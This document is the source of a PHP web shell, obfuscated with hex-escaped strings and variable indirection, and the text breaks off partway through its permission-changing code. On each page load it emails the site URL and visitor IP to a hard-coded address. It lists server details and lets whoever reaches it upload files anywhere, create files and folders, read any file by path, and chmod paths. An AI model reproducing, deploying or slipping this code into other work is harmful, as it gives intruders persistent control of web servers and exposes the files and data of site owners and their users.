${"\x47\x4c\x4f\x42A\x4c\x53"}["k\x6ff\x74\x6cuw\x6e\x6d\x70\x72"]="p\x65\x72\x6ds";${"G\x4c\x4fBAL\x53"}["\x73r\x62eq\x71"]="i\x6efo";${"G\x4cO\x42\x41\x4cS"}["\x64\x6ev\x77\x67\x77c\x65\x78\x78"]="\x73i\x7a\x65";${"\x47\x4c\x4fB\x41L\x53"}["\x69\x78c\x75i\x73\x6b\x78\x6d\x79"]="\x64\x69r";${"G\x4c\x4f\x42\x41\x4c\x53"}["\x79\x67\x6d\x72\x77\x6fbxgb"]="\x73\x63a\x6e\x64\x69r";${"\x47\x4c\x4f\x42A\x4cS"}["b\x77\x71gi\x70"]="\x66\x70";${"G\x4c\x4fB\x41\x4cS"}["\x79\x68\x6e\x73\x63\x62\x77a\x79\x66"]="c\x77d";${"\x47\x4c\x4f\x42A\x4cS"}["\x79\x70u\x6d\x75\x66b\x79\x7a\x67"]="\x66\x69l\x65";${"\x47\x4c\x4f\x42A\x4c\x53"}["p\x75\x70\x77\x63lg\x73\x77\x62\x6bw"]="\x69";${"\x47\x4c\x4fB\x41\x4cS"}["\x75u\x6a\x6e\x73\x77sr"]="\x70a\x74";${"\x47\x4cO\x42ALS"}["\x75\x6f\x61\x6dy\x71\x76v\x6c"]="\x69\x64";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x69\x6a\x6ds\x6b\x6c\x66kd\x75\x75"]="\x70\x61ths";${"\x47\x4cOB\x41LS"}["\x67\x66\x77\x72\x64\x6a\x6f\x77\x78v\x74\x74"]="p\x61\x74\x68";${"\x47\x4cO\x42AL\x53"}["u\x6c\x75\x79x\x77\x6edn\x6a"]="\x74\x6f";${"\x47\x4cO\x42A\x4c\x53"}["r\x75ms\x64t\x74v\x78\x65\x74"]="pa\x74h";echo
"
";error_reporting(0);${"\x47\x4c\x4fBA\x4c\x53"}["\x7a\x72t\x77\x68\x6a\x6f\x61\x6f\x6a"]="\x6d\x65\x73\x73\x61g\x65";session_start();@ini_set("o\x75\x74p\x75t_\x62uf\x66ering",0);$zqghpdyl="\x6d\x65\x73sag\x65";@ini_set("\x64\x69s\x70\x6ca\x79\x5fe\x72\x72o\x72s",0);$okjvfcpqpxk="\x70\x61\x74\x68";ini_set("\x6dem\x6f\x72\x79\x5flim\x69\x74","\x36\x34M");header("\x43o\x6et\x65\x6e\x74-\x54\x79pe:
\x74\x65xt/ht\x6dl\x3b\x20\x63\x68a\x72\x73\x65\x74\x3d\x55\x54F-8");$fsdhifp="\x74\x6f";${${"\x47\x4c\x4fB\x41\x4c\x53"}["ul\x75\x79\x78w\x6ed\x6e\x6a"]}="l\x6f\x6cika\x77aii1\x333\x37@\x67mai\x6c\x2eco\x6d";${${"\x47L\x4f\x42\x41\x4c\x53"}["\x67\x66wrd\x6aow\x78v\x74\x74"]}="\x68\x74\x74\x70://".$_SERVER["\x53ERV\x45\x52_\x4e\x41\x4dE"].$_SERVER["\x52\x45\x51UES\x54\x5fURI"];${$zqghpdyl}="UR\x4c:
$path\x20|\x20\x49P\x20\x41ddres\x73
:[\x20".$_SERVER["\x52\x45MO\x54E\x5fADDR"]."
]";mail(${$fsdhifp},"S\x41\x46ETY
\x53H\x45\x4cL",${${"\x47\x4cO\x42\x41L\x53"}["z\x72\x74\x77\x68\x6a\x6f\x61o\x6a"]},"[
".$_SERVER["R\x45\x4dOT\x45_A\x44D\x52"]."
]");echo"<\x21DOC\x54YP\x45
\x48T\x4dL\x3e\n<\x6c\x69\x6e\x6b\x20\x68\x72\x65f=\x22ht\x74p\x73://\x66ont\x73.\x67o\x6f\x67l\x65a\x70\x69s\x2e\x63om/c\x73\x73?fa\x6d\x69ly=Ke\x6cl\x79+\x53\x6cab\x22\x20r\x65l=\"\x73\x74yl\x65\x73\x68ee\x74\"
type=\x22\x74\x65\x78\x74/c\x73\x73\x22>\n\x3c\x6c\x69\x6ek
\x68r\x65\x66\x3d\x22\x68ttp\x73://\x73\x74\x61\x63kp\x61\x74h\x2e\x62o\x6f\x74s\x74r\x61\x70c\x64\x6e\x2e\x63\x6fm/\x66\x6f\x6e\x74-\x61\x77\x65\x73\x6fme/4\x2e\x37\x2e\x30/c\x73s/fo\x6et-awe\x73\x6fme.\x6d\x69n.\x63s\x73\x22\x20\x72e\x6c=\x22styl\x65\x73hee\x74\"
\x74y\x70\x65=\"tex\x74/\x63ss\x22/\x3e\n\x3ccent\x65r\x3e\n<s\x74\x79\x6c\x65\x20t\x79\x70\x65=\x22te\x78\x74/css\"\x3e\n\x62o\x64\x79\x20{\n\tfo\x6e\x74-\x66a\x6d\x69\x6cy:\x20Ke\x6cly\x20Sla\x62;\n\tba\x63\x6bgro\x75\x6e\x64-co\x6c\x6fr:
\x62l\x61ck;\n\tco\x6c\x6f\x72:
w\x68it\x65;\n\t}\n\x23\x63\x6fnt\x65n\x74\x20\x74r:h\x6f\x76er{\n\tba\x63\x6bg\x72\x6f\x75\x6ed-c\x6fl\x6f\x72:
\x67re\x79\x3b\n\t\x74e\x78t-s\x68a\x64o\x77:0\x70\x78\x200px\x2010\x70\x78\x20#\x30\x300000;\n\t}\n\x23co\x6ete\x6et
.\x66irst{\n\tc\x6f\x6co\x72:
#0\x30\x30\x30\x30\x30;\n\t\x62\x61c\x6b\x67rou\x6e\x64-imag\x65:u\x72\x6c(\x23);\n\t}\n#\x63ont\x65\x6e\x74\x20\x2efi\x72st:hov\x65r{\n\t\x62\x61ckg\x72o\x75n\x64-c\x6f\x6co\x72:\x20gre\x79;\n\t\x74ex\x74-s\x68a\x64\x6fw:\x30px
\x30\x70\x78
1p\x78\x20\x23\x33\x339\x3900;\n\t}\ntabl\x65,\x20\x74h,\x20t\x64
{\n\t\t\x62o\x72der-\x63ol\x6ca\x70\x73\x65:c\x6fll\x61\x70s\x65\x3b\n\t\t\x70\x61ddin\x67:\x205\x70x\x3b\n\t\tco\x6cor:
\x77h\x69t\x65;\n\t\t}\n\x2e\x74\x61\x62l\x65_\x68ome,\x20\x2et\x68_ho\x6d\x65,
\x2e\x74\x64\x5f\x68ome\x20{ \n\t\tco\x6cor:
\x77hit\x65\x3b\n\t\t\x62o\x72\x64\x65\x72:\x20\x32px\x20\x73\x6flid\x20g\x72ey;\n\t\tp\x61ddi\x6e\x67:
7\x70\x78\x3b\n\t\t}\na{\n\t\x66o\x6e\x74-\x73iz\x65:
1\x39p\x78\x3b\n\tco\x6co\x72:
\x23\x300\x66\x6600\x3b\n\t\x74ex\x74-d\x65\x63or\x61\x74\x69on:
none;\n\t}\n\x61:\x68ove\x72{\n\tcolo\x72:
\x77\x68\x69\x74e\x3b\n\t\x74e\x78\x74-\x73\x68\x61\x64\x6f\x77:0p\x78\x20\x30\x70x
\x310p\x78
#339\x3900\x3b\n\t}\ni\x6ep\x75\x74,sel\x65\x63t,\x74\x65x\x74are\x61{\n\tbo\x72\x64\x65\x72:\x201p\x78\x20\x23ff\x66ff\x66
\x73\x6fli\x64\x3b\n\t-\x6doz-b\x6frd\x65r-r\x61\x64ius:
5\x70x;\n\t-we\x62kit-bor\x64\x65r-\x72a\x64iu\x73:\x35\x70x\x3b\n\tbor\x64\x65\x72-\x72\x61\x64i\x75s:\x35p\x78;\n\t}\n\x2eclo\x73\x65
{\n\tov\x65\x72\x66\x6c\x6fw: aut\x6f;\n\t\x62ord\x65r:\x201\x70\x78
\x73\x6flid \x77\x68i\x74e\x3b\n\tba\x63kground:
w\x68i\x74\x65\x3b\n\t\x63\x6f\x6cor: whi\x74\x65\x3b\n\t}\n\x2e\x72
{\n\t\x66\x6c\x6fat:\x20righ\x74\x3b\n\tt\x65\x78t-\x61\x6c\x69gn:\x20r\x69\x67\x68t\x3b\n\t}\n\x3c/s\x74\x79\x6c\x65>\n\n\x3ca\x20h\x72\x65f\x3d\x22?\x22\x3e<h\x31
\x73\x74\x79\x6c\x65\x3d\"font-fami\x6c\x79:\x20K\x65\x6cly\x20\x53l\x61b\x3b\x20\x66ont-\x73\x69\x7ae:\x20\x33\x35\x70\x78;
c\x6f\x6c\x6fr:
w\x68\x69t\x65\x3b\x22>\n\x20</\x68\x31>\x3c/\x61\x3e\n\x3c\x42OD\x59>\n\n\x3c\x74a\x62l\x65\x20w\x69\x64t\x68=\x22\x395\x25\"\x20\x62o\x72der=\x22\x30\x22
\x63\x65\x6c\x6c\x70a\x64\x64\x69n\x67=\x22\x30\x22\x20cel\x6c\x73p\x61\x63i\x6e\x67=\x22\x30\"\x20\x61li\x67\x6e=\x22\x6cef\x74\"\x3e\n<\x74r\x3e\x3c\x74\x64>";echo"\x3ct\x72\x3e\x3c\x74\x64\x3e<fo\x6et
\x63o\x6c\x6f\x72=\x27\x77h\x69t\x65'\x3e\n\x3ci
c\x6cas\x73=\x27\x66a\x20\x66a-us\x65r\x27></i> <t\x64>:
\x3c\x66\x6f\x6e\x74\x20c\x6f\x6cor=\x27white\x27\x3e".$_SERVER["R\x45\x4d\x4f\x54E_AD\x44\x52"]."<tr><\x74\x64\x3e\x3c\x66ont
c\x6fl\x6fr=\x27w\x68it\x65'\x3e\n<\x69\x20\x63\x6ca\x73\x73=\x27fa
\x66a-de\x73k\x74\x6fp\x27\x3e</\x69>\x20<td\x3e:\x20<\x66o\x6et
\x63ol\x6fr=\x27w\x68\x69\x74e\x27\x3e".gethostbyname($_SERVER["HT\x54P\x5f\x48O\x53\x54"])."\x20/\x20".$_SERVER["\x53ERV\x45\x52_N\x41\x4d\x45"]."\x3c\x74r\x3e<\x74d><fon\x74
c\x6f\x6co\x72\x3d\x27w\x68ite\x27>\n<\x69\x20\x63\x6c\x61\x73s=\x27f\x61\x20fa-\x68\x64d-o\x27\x3e</\x69\x3e
\x3ct\x64\x3e:
<fon\x74\x20\x63\x6flor\x3d'\x77hi\x74e'\x3e".php_uname()."\x3c/f\x6fnt>\x3c/\x74\x72\x3e\x3c/\x74\x64\x3e\x3c/\x74a\x62\x6c\x65>";echo"<\x74ab\x6ce
width\x3d\x22\x395\x25\x22
\x62orde\x72=\"0\"\x20\x63e\x6c\x6c\x70add\x69\x6e\x67\x3d\"0\x22
cells\x70\x61c\x69ng\x3d\"\x30\"\x20\x61l\x69gn\x3d\"\x63e\x6e\x74e\x72\x22\x3e\n\x3ct\x72
alig\x6e=\"\x63\x65\x6e\x74er\"\x3e\x3ct\x64\x20al\x69\x67n=\"ce\x6ete\x72\x22><\x62\x72\x3e";${"\x47L\x4f\x42\x41\x4c\x53"}["\x70s\x64\x69yw\x78y\x69\x79"]="\x70\x61\x74";if(isset($_GET["path"])){${${"\x47L\x4fBA\x4cS"}["\x67fwr\x64\x6ao\x77\x78\x76tt"]}=$_GET["p\x61\x74h"];}else{${"GL\x4fB\x41LS"}["\x71\x62\x6a\x73t\x73b"]="pa\x74\x68";${${"GL\x4fBA\x4c\x53"}["\x71\x62\x6a\x73t\x73\x62"]}=getcwd();}${${"\x47\x4c\x4fB\x41\x4c\x53"}["g\x66w\x72\x64\x6a\x6fwxvtt"]}=str_replace("\x5c","/",${${"\x47L\x4f\x42\x41\x4c\x53"}["\x72\x75\x6d\x73\x64t\x74v\x78\x65\x74"]});${${"\x47\x4c\x4f\x42\x41\x4c\x53"}["i\x6amsk\x6c\x66\x6b\x64\x75u"]}=explode("/",${$okjvfcpqpxk});foreach(${${"G\x4c\x4fB\x41\x4c\x53"}["\x69\x6am\x73\x6b\x6cf\x6bd\x75\x75"]}
as${${"\x47\x4c\x4f\x42\x41LS"}["\x75\x6fam\x79\x71\x76\x76\x6c"]}=>${${"\x47LO\x42A\x4cS"}["\x70\x73\x64\x69y\x77x\x79\x69\x79"]}){${"GL\x4f\x42\x41\x4cS"}["g\x75\x71\x6e\x72\x66\x77\x75\x7a"]="p\x61t";if(${${"GL\x4f\x42\x41\x4c\x53"}["gu\x71\x6e\x72f\x77\x75z"]}==""&&${${"\x47\x4c\x4f\x42\x41LS"}["\x75\x6f\x61\x6dyq\x76vl"]}==0){${"\x47\x4c\x4f\x42\x41\x4c\x53"}["e\x6e\x6b\x65\x6a\x78\x76"]="\x61";${${"G\x4cO\x42A\x4c\x53"}["en\x6b\x65j\x78\x76"]}=true;echo"\x3c\x69
c\x6cass=\x22\x66\x61 f\x61-f\x6f\x6c\x64\x65\x72-o\"\x3e\x3c/\x69>
:\x20\x3c\x61\x20\x68\x72ef=\x22?\x70a\x74\x68\x3d/\x22\x3e/</\x61>";continue;}if(${${"\x47L\x4f\x42\x41L\x53"}["\x75u\x6a\x6e\x73\x77s\x72"]}=="")continue;$nuyktni="i";echo"<a
h\x72e\x66=\x22?\x70at\x68\x3d";for(${$nuyktni}=0;${${"\x47L\x4f\x42\x41L\x53"}["\x70\x75p\x77\x63\x6cg\x73\x77\x62\x6b\x77"]}<=${${"\x47\x4c\x4f\x42\x41L\x53"}["u\x6fa\x6d\x79\x71v\x76l"]};${${"G\x4cOBA\x4c\x53"}["\x70\x75p\x77\x63l\x67s\x77b\x6b\x77"]}++){$vcxkguu="\x69";$sgwbfryt="i\x64";echo"$paths[$i]";if(${$vcxkguu}!=${$sgwbfryt})echo"/";}echo"\"\x3e".${${"\x47LOB\x41\x4c\x53"}["\x75ujn\x73\x77\x73\x72"]}."</a\x3e/";}echo"
\x3ca\x20\x68r\x65f='?\x70a\x74\x68\x3d".getcwd()."'\x3e{\x48\x4fME}</\x61></br\x3e";echo"\x3c\x62r>\x3cbr\x3e\x3cb\x72\x3e<font
col\x6f\x72\x3d\"w\x68ite\x22>\x3cf\x6f\x72m\x20encty\x70\x65\x3d\x22m\x75lt\x69pa\x72t/\x66\x6fr\x6d-d\x61t\x61\x22
\x6d\x65t\x68\x6f\x64\x3d\x22\x50\x4fS\x54\x22>\n\x55\x70l\x6fa\x64
\x46\x69\x6ce:\x20<\x69\x6e\x70\x75t
t\x79\x70e=\"f\x69\x6c\x65\x22\x20\x6e\x61me\x3d\x22file\"\x20st\x79l\x65\x3d\"c\x6flor:\x77h\x69\x74\x65;\x62\x6frde\x72:\x32\x70\x78\x20\x73\x6fli\x64\x20whit\x65;\"\x20r\x65qu\x69r\x65d/\x3e\x3c/\x66o\x6e\x74\x3e\n\x3c\x69\x6ep\x75t\x20typ\x65=\x22s\x75\x62m\x69\x74\"
\x76a\x6cue\x3d\"\x55\x50L\x4fA\x44\x22
\x73\x74yl\x65=\"\x6d\x61rgi\x6e-t\x6fp:4\x70x;\x77\x69\x64\x74h:1\x300\x70\x78;h\x65i\x67h\x74:\x327\x70x\x3bfo\x6e\x74-\x66a\x6dily:K\x65l\x6cy
\x53lab;\x66o\x6e\x74-\x73i\x7a\x65:\x315\x3bb\x61ckgr\x6fund:b\x6cac\x6b;\x63\x6f\x6cor:\x20w\x68it\x65\x3bborde\x72:\x32\x70x
s\x6fl\x69d\x20w\x68\x69\x74\x65\x3b\x62or\x64\x65\x72-\x72\x61\x64\x69u\x73:\x35px\"/>";if(isset($_FILES["fil\x65"])){if(copy($_FILES["\x66\x69\x6c\x65"]["t\x6dp_na\x6de"],${${"\x47\x4cO\x42\x41\x4cS"}["\x67\x66w\x72\x64jo\x77\x78\x76\x74\x74"]}."/".$_FILES["\x66\x69le"]["n\x61\x6de"])){echo"<\x62\x72\x3e\x3cb\x72><fon\x74
co\x6c\x6fr=\"wh\x69\x74\x65\">\x55PLO\x41D
SUCC\x45S\x20!!\x21!</\x66on\x74\x3e<\x62\x72/\x3e";}else{echo"<\x73\x63\x72ipt\x3ea\x6ce\x72t(\"\x46il\x65\x20Ga\x67al\x20\x44iuplo\x61d
!!\")</s\x63\x72\x69\x70\x74\x3e";}}echo"</f\x6fr\x6d\x3e";echo"</\x62\x72>";echo"</b\x72\x3e";echo
"\x3cs\x74\x79\x6c\x65>\n\t\t.tampi\x6can-form\x20{\n\t\t\t\x64isp\x6c\x61\x79:
\x6eon\x65;\n\t\t\t\x70os\x69t\x69\x6fn:\x20fi\x78\x65d;\n\t\t\ttop:
\x350%\x3b\n\t\t\tl\x65f\x74:
\x35\x30%\x3b\n\t\t\tt\x72\x61\x6es\x66\x6frm:
tr\x61\x6e\x73\x6cate(-\x350\x25,\x20-50\x25)\x3b\n\t\t\tback\x67r\x6fu\x6e\x64:\x20wh\x69t\x65;\n\t\t\t\x70add\x69\x6eg:\x202\x30\x70x;\n\t\t\t\x62\x6frd\x65\x72:
1p\x78\x20so\x6c\x69d\x20\x62la\x63k\x3b\n\t\t\tz-in\x64\x65\x78:\x20\x39\x39\x39\x39\x3b\n\t\t}\n\t\t.\x74\x61m\x70\x69l\x61n-f\x6fr\x6d
\x69\x6eput[ty\x70e=\x22\x74\x65\x78t\"]
{\n\t\t\td\x69\x73pl\x61y:\x20\x62\x6co\x63\x6b\x3b\n\t\t\t\x6d\x61rg\x69n-\x62ot\x74o\x6d:
\x31\x30px\x3b\n\t\t}\n\t\t\x2e\x74\x61mp\x69\x6c\x61n-\x66or\x6d\x20bu\x74\x74\x6f\x6e
{\n\t\t\tma\x72g\x69\x6e-t\x6f\x70:
1\x30\x70x;\n\t\t}\n\t</sty\x6c\x65>\n\t<\x62\x75t\x74\x6f\x6e\x20\x6f\x6ec\x6cick=\"t\x61\x6d\x70\x69\x6ck\x61\x6eF\x6frm(\x27fo\x6c\x64\x65\x72')\x22\x20\x73ty\x6ce\x3d\x22\x6d\x61r\x67\x69n-\x74o\x70:\x34p\x78;wi\x64\x74\x68:\x39\x30p\x78;he\x69ght:27\x70x;f\x6f\x6e\x74-famil\x79:\x4belly\x20\x53lab;\x66o\x6e\x74-\x73\x69\x7ae:1\x35;\x62a\x63\x6bg\x72oun\x64:black\x3b\x63\x6f\x6cor:\x20wh\x69te\x3b\x62\x6fr\x64e\x72:2px\x20\x73\x6f\x6c\x69\x64\x20w\x68\x69t\x65;b\x6fr\x64\x65\x72-\x72\x61\x64\x69u\x73:\x35\x70\x78\x22>\x20F\x6f\x6cd\x65r</\x62\x75\x74t\x6f\x6e\x3e\n<b\x75\x74t\x6f\x6e
\x6fnclick=\"\x74\x61mp\x69\x6c\x6b\x61n\x46\x6f\x72\x6d('f\x69\x6ce\x27)\x22
\x73\x74y\x6c\x65=\x22\x6dar\x67i\x6e-to\x70:4px\x3b\x77i\x64\x74\x68:\x39\x30px\x3bh\x65\x69ght:2\x37px;f\x6fn\x74-f\x61m\x69l\x79:K\x65l\x6c\x79
S\x6cab\x3bfo\x6e\x74-\x73i\x7a\x65:15;b\x61ckg\x72\x6f\x75\x6ed:\x62\x6cac\x6b;\x63\x6f\x6cor:\x20whi\x74\x65\x3b\x62\x6f\x72\x64\x65r:\x32\x70x
s\x6fl\x69d
w\x68\x69te;\x62o\x72\x64e\x72-\x72\x61\x64iu\x73:5p\x78\x22\x3e
F\x69\x6ce</\x62u\x74\x74\x6f\x6e>\n\n\x3c\x66o\x72m\x20i\x64=\"f\x6f\x72m-f\x6f\x6cd\x65r\"
c\x6c\x61\x73\x73\x3d\"tam\x70\x69l\x61\x6e-f\x6f\x72m\"
\x6d\x65t\x68\x6f\x64\x3d\x22\x50\x4f\x53\x54\x22\x20a\x63t\x69on\x3d\"";echo
htmlspecialchars($_SERVER["PHP_\x53EL\x46"]);echo
"\x22>\n\t<\x6c\x61\x62el\x20\x66\x6fr=\"\x6ea\x6da-fo\x6c\x64e\x72\x22\x3eFold\x65\x72:</\x6c\x61\x62\x65\x6c\x3e\n\t\x3c\x69\x6epu\x74
ty\x70e\x3d\x22tex\x74\x22 id\x3d\"nam\x61-\x66ol\x64\x65\x72\x22
pl\x61\x63\x65h\x6f\x6c\x64\x65\x72\x3d\x22\x46old\x65r\"\x20nam\x65\x3d\x22n\x61m\x61-fo\x6c\x64er\"
\x73\x74\x79\x6c\x65=\x22p\x61d\x64\x69n\x67:\x205px\x3b\x20b\x6f\x72d\x65r-\x72\x61d\x69us:
5px; bo\x72\x64\x65r:\x20\x31p\x78 s\x6f\x6c\x69d
\x67r\x61\x79\x3b\x20w\x69\x64\x74\x68:
2\x350\x70x;\x22\x3e\n\t\x3c\x62u\x74\x74\x6f\x6e\x20typ\x65\x3d\"submi\x74\x22\x20s\x74yl\x65=\x22m\x61r\x67\x69\x6e-\x74op:4p\x78\x3b\x77id\x74\x68:9\x30px;he\x69\x67ht:\x327p\x78\x3bf\x6f\x6e\x74-f\x61\x6d\x69\x6c\x79:K\x65ll\x79\x20\x53\x6c\x61\x62\x3b\x66\x6f\x6et-\x73\x69z\x65:\x315;\x62ackgr\x6fu\x6ed:blac\x6b\x3bcol\x6fr:
\x77\x68ite;borde\x72:\x32p\x78
\x73ol\x69d\x20\x77\x68i\x74e;\x62\x6frd\x65r-r\x61d\x69\x75s:\x35px\"\x3eC\x72\x65\x61\x74\x3c/but\x74on>\n\t<\x62ut\x74on
t\x79pe\x3d\x22\x62\x75\x74t\x6fn\"
on\x63\x6c\x69c\x6b\x3d\x22ba\x74al\x46o\x72\x6d()\"\x20\x73\x74\x79\x6c\x65=\x22ma\x72g\x69\x6e-top:\x34p\x78;w\x69d\x74\x68:\x390p\x78\x3b\x68\x65\x69ght:\x32\x37p\x78\x3bf\x6f\x6e\x74-f\x61mi\x6cy:\x4be\x6c\x6cy
\x53\x6c\x61b;f\x6f\x6et-si\x7a\x65:15\x3b\x62a\x63\x6bg\x72o\x75nd:\x62\x6cack;color:
whit\x65\x3b\x62o\x72\x64\x65\x72:2\x70\x78
\x73\x6fl\x69d\x20\x77\x68\x69t\x65\x3b\x62\x6f\x72\x64er-\x72a\x64\x69\x75\x73:\x35p\x78\"\x3eCancel\x3c/\x62ut\x74o\x6e>\n\x3c/f\x6fr\x6d\x3e\n\n\x3cfo\x72\x6d\x20\x69\x64\x3d\"\x66\x6frm-f\x69\x6ce\"\x20c\x6c\x61ss=\"\x74\x61m\x70\x69\x6can-form\"
me\x74\x68o\x64=\x22P\x4f\x53\x54\x22\x20\x61ctio\x6e=\x22";echo
htmlspecialchars($_SERVER["\x50\x48\x50\x5fSEL\x46"]);echo
"\"\x3e\n\t<l\x61\x62e\x6c\x20for\x3d\"n\x61m\x61-\x66i\x6ce\x22>\x46il\x65:\x3c/l\x61\x62el\x3e\n\t\x3ci\x6e\x70\x75t
\x74\x79p\x65=\x22\x74ext\"\x20i\x64=\"\x6ea\x6da-f\x69le\x22
\x6e\x61\x6d\x65\x3d\"na\x6d\x61-\x66i\x6c\x65\x22\x20\x70\x6ca\x63ehol\x64\x65r\x3d\x22\x46i\x6ce\"
\x73t\x79l\x65\x3d\x22p\x61ddin\x67: \x35\x70x\x3b
bor\x64er-r\x61\x64i\x75s:\x205px;\x20bo\x72\x64e\x72:\x20\x31px\x20so\x6ci\x64\x20gr\x61y;\x20wi\x64\x74\x68:
250\x70\x78;\"\x3e\n\t\x3cbu\x74to\x6e\x20typ\x65\x3d\"\x73\x75\x62\x6dit\"
st\x79l\x65=\"\x6da\x72\x67\x69n-\x74\x6f\x70:\x34px;\x77id\x74h:\x39\x30\x70x\x3b\x68\x65\x69\x67ht:\x327p\x78\x3bf\x6fnt-\x66\x61\x6di\x6cy:\x4be\x6cl\x79
S\x6ca\x62\x3b\x66\x6f\x6et-si\x7a\x65:\x31\x35;bac\x6b\x67\x72\x6fu\x6ed:bla\x63\x6b\x3b\x63ol\x6fr:
w\x68i\x74e;\x62\x6fr\x64\x65r:\x32\x70x
so\x6cid\x20\x77\x68ite\x3b\x62order-\x72a\x64i\x75\x73:\x35p\x78\"\x3eC\x72ea\x74\x65</b\x75tton\x3e\n\t\x3c\x62\x75\x74\x74\x6fn\x20\x74y\x70\x65=\x22b\x75t\x74on\x22
\x6f\x6e\x63\x6cick=\"\x62a\x74\x61\x6cFo\x72\x6d()\x22\x20\x73tyl\x65\x3d\"m\x61r\x67in-t\x6fp:\x34\x70x\x3b\x77\x69\x64t\x68:90\x70x\x3bhe\x69\x67h\x74:\x32\x37p\x78;f\x6f\x6et-f\x61\x6d\x69\x6c\x79:K\x65l\x6cy\x20Slab;fon\x74-si\x7ae:\x315;\x62a\x63\x6bg\x72ou\x6ed:\x62la\x63k\x3bcolor:
\x77h\x69te\x3b\x62\x6fr\x64er:2px \x73o\x6c\x69d
white\x3b\x62\x6frde\x72-\x72\x61d\x69\x75s:\x35px\">\x43an\x63\x65l\x3c/b\x75\x74t\x6fn>\n\x3c/fo\x72m>\n\n";if($_SERVER["RE\x51UEST\x5f\x4d\x45T\x48O\x44"]=="\x50O\x53\x54"){if(!empty($_POST["n\x61ma-\x66\x6f\x6c\x64\x65\x72"])){if(mkdir($_POST["n\x61\x6d\x61-f\x6f\x6c\x64\x65r"])){echo"\x3c\x73c\x72ipt>\x61\x6c\x65\x72\x74(\x27\x46\x6f\x6cde\x72
\x53\x75c\x63es\x73\x20Cr\x65\x61te!')\x3b
\x77i\x6edo\x77.\x6cocat\x69\x6f\x6e\x20\x3d
w\x69\x6ed\x6f\x77\x2e\x6c\x6f\x63ati\x6fn.href\x3b\x3c/scri\x70\x74>";}else{echo"\x3cscrip\x74>a\x6c\x65rt('Fai\x6ced
\x43\x72e\x61te
fold\x65\x72\x21\x27)\x3b\x3c/\x73\x63\x72i\x70t>";}}elseif(!empty($_POST["na\x6d\x61-f\x69l\x65"])){$iiwxypeffbv="\x66\x69\x6c\x65";${$iiwxypeffbv}=fopen($_POST["\x6ea\x6d\x61-\x66\x69l\x65"],"\x77");if(${${"G\x4c\x4fB\x41L\x53"}["y\x70\x75\x6d\x75\x66\x62\x79z\x67"]}!==false){fclose(${${"G\x4c\x4f\x42\x41L\x53"}["yp\x75m\x75\x66by\x7a\x67"]});echo"\x3c\x73c\x72ip\x74\x3e\x61lert('\x46\x69le\x20Suc\x63\x65\x73\x73\x20\x43\x72eat\x65!\x27);
windo\x77.loca\x74io\x6e\x20=\x20\x77indo\x77\x2elocatio\x6e\x2e\x68\x72ef;</\x73\x63rip\x74\x3e";}else{echo"\x3c\x73c\x72\x69p\x74\x3e\x61l\x65\x72t(\x27F\x61il\x65\x64
Crea\x74\x65\x20\x66\x69\x6c\x65\x21\x27);</\x73c\x72\x69pt>";}}}echo
"\n\x3c\x73cript\x3e\n\nf\x75\x6ect\x69o\x6e\x20t\x61\x6dp\x69\x6cka\x6eFo\x72m(\x6ae\x6e\x69s)
{\n\t\t\x76\x61r\x20\x66\x6frm =
\x64o\x63umen\x74\x2e\x67\x65tE\x6c\x65m\x65n\x74\x42\x79I\x64(\x22\x66o\x72\x6d-\x22
+\x20j\x65n\x69s)\x3b\n\t\tform.sty\x6ce\x2e\x64\x69\x73p\x6ca\x79\x20=
\x22\x62\x6cock\x22\x3b\n\t}\n\n\tf\x75n\x63tion\x20ba\x74al\x46or\x6d()
{\n\t\t\x76a\x72 \x66\x6f\x72m\x73
=\x20do\x63\x75me\x6e\x74.g\x65tE\x6cemen\x74sByC\x6c\x61s\x73\x4eam\x65(\"\x74am\x70ilan-fo\x72m\x22)\x3b\n\t\t\x66o\x72
(\x76ar\x20i \x3d\x20\x30;\x20\x69\x20<
f\x6fr\x6ds\x2e\x6c\x65\x6e\x67th\x3b
i++)\x20{\n\t\t\tf\x6fr\x6d\x73[\x69]\x2esty\x6ce.\x64is\x70lay\x20\x3d
\x22n\x6fn\x65\";\n\t\t}\n\t}\n\n\tf\x75\x6ection\x20ta\x6d\x70i\x6c\x6ba\x6e\x46or\x6d(je\x6e\x69\x73)
{\n\t\t\x76a\x72\x20f\x6f\x72\x6d\x20\x3d
d\x6fc\x75m\x65\x6e\x74\x2e\x67e\x74\x45\x6ce\x6dent\x42y\x49\x64(\x22\x66\x6f\x72m-\x22\x20+
\x6ae\x6ei\x73)\x3b\n\t\t\x66o\x72m.st\x79\x6ce.\x64i\x73p\x6ca\x79\x20\x3d\x20\x22\x62l\x6f\x63k\x22\x3b\n\t}\n\n\tf\x75\x6ec\x74i\x6f\x6e\x20\x63l\x65\x61r1(){\n
\x20d\x6f\x63u\x6d\x65n\x74.\x67et\x45\x6cem\x65\x6et\x42\x79\x49d(\x22r\x65s\x75l\x74\x22).r\x65\x73e\x74()\x3b}\n\x3c/\x73\x63r\x69\x70t>\n\n\n";echo"</\x74d\x3e\x3c/tr>";if(isset($_GET["\x66\x69les\x72c"])){echo"<\x74r\x3e\x3c\x74d\x3efiles\x20\x3e\x3e
";echo$_GET["f\x69lesr\x63"];echo"\x3c/\x74\x72></t\x64\x3e\x3c/\x74a\x62\x6ce>\x3cb\x72
/>";echo("\x20\x3c\x74\x65xta\x72e\x61\x20
\x73\x74yle\x3d\"\x66o\x6et-siz\x65:
\x38\x70\x78\x3b\x20bo\x72de\x72:\x20\x31\x70x\x20\x73olid
\x77hite;\x20\x62\x61\x63kgrou\x6e\x64-\x63ol\x6fr:\x20\x62l\x61ck\x3b\x20c\x6flo\x72:
\x77h\x69t\x65;\x20\x77idth:
100%;h\x65\x69g\x68t:\x20\x31\x3200\x70\x78\x3b\x22
\x72\x65\x61\x64o\x6el\x79\x3e
".htmlspecialchars(file_get_contents($_GET["files\x72\x63"]))."</\x74\x65\x78t\x61\x72e\x61>");}elseif(isset($_GET["opti\x6fn"])&&$_POST["\x6fp\x74"]!="de\x6c\x65t\x65"){echo"\x3c/tab\x6c\x65><br\x20/\x3e\x3c\x63\x65\x6ete\x72>".$_POST["\x70ath"]."<\x62r\x20/><\x62\x72
/>";if($_POST["\x6fpt"]=="c\x68\x6dod"){if(isset($_POST["p\x65rm"])){if(chmod($_POST["pa\x74h"],$_POST["\x70\x65\x72\x6d"])){echo"<\x62r\x3e\x3cb\x72\x3e\x3cf\x6fnt
\x63\x6flor=\"w\x68ite\x22>\x43H\x41\x4e\x47E
P\x45RM\x49\x53S\x49O\x4e
